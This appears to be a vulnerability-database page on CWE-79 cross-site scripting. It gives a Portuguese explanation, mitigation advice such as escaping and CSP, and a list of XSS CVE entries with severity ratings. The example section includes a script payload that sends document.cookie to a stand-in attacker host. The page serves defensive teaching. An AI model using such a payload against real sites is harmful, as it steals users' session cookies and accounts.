Fallos del tipo CWE-79

29.100 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2020-7258MEDIUMNetwork Security Management (NSM) - Cross site scripting vulnerabilityEPSS 0.5%CVE-2025-28906MEDIUMWordPress Skitter Slideshow plugin <= 2.5.2 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.5%CVE-2023-49277HIGHReflected Cross-site Scripting Vulnerability in dpasteEPSS 0.5%CVE-2023-1609LOWZhong Bang CRMEB Java save cross site scriptingEPSS 0.5%CVE-2023-3071HIGHCross-site Scripting (XSS) - Stored in tsolucio/corebosEPSS 0.5%CVE-2020-7256MEDIUMNetwork Security Management (NSM) - Cross site scripting vulnerabilityEPSS 0.5%CVE-2024-43368MEDIUMTrix has a Cross-Site Scripting (XSS) vulnerability on copy & pasteEPSS 0.5%CVE-2024-42787MEDIUMA Stored Cross Site Scripting (XSS) vulnerability was found in "/music/ajax.php?action=save_playlist" in Kashipara Music Management System vEPSS 0.5%CVE-2024-7660MEDIUMSourceCodester File Manager App Add File cross site scriptingEPSS 0.5%CVE-2024-50969MEDIUMA Reflected cross-site scripting (XSS) vulnerability in browse.php of Code-projects Jonnys Liquor 1.0 allows remote attackers to inject arbiEPSS 0.5%CVE-2025-25461MEDIUMA Stored Cross-Site Scripting (XSS) vulnerability exists in SeedDMS 6.0.29. A user or rogue admin with the "Add Category" permission can injEPSS 0.5%CVE-2023-5577MEDIUMBitly's WordPress Plugin <= 2.7.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.5%CVE-2022-35654MEDIUMPega Platform from 8.5.4 to 8.7.3 is affected by an XSS issue with an unauthenticated user and the redirect parameter.EPSS 0.5%CVE-2020-7333MEDIUMCross-site Scripting (XSS) in firewall ePO extension of McAfee Endpoint Security (ENS)EPSS 0.5%CVE-2024-2733MEDIUMBold Page Builder <= 4.8.8 - Authenticated (Contributor+) Stored Cross-Site Scripting via Separator ElementEPSS 0.5%CVE-2023-41318MEDIUMUnsafe media served inline on download endpoints in matrix-media-repoEPSS 0.5%CVE-2018-25119MEDIUMNagios Fusion < 4.1.5 XSS via fusionwindow ParameterEPSS 0.5%CVE-2021-47694MEDIUMNagios XI < 5.8.6 Core Config Manager (CCM) Reflected XSS via Test CommandEPSS 0.5%CVE-2023-22910MEDIUMAn issue was discovered in MediaWiki before 1.35.9, 1.36.x through 1.38.x before 1.38.5, and 1.39.x before 1.39.1. There is XSS in Wikibase EPSS 0.5%CVE-2025-56515HIGHFile upload vulnerability in Fiora chat application 1.0.0 through user avatar upload functionality. The application fails to validate SVG fiEPSS 0.5%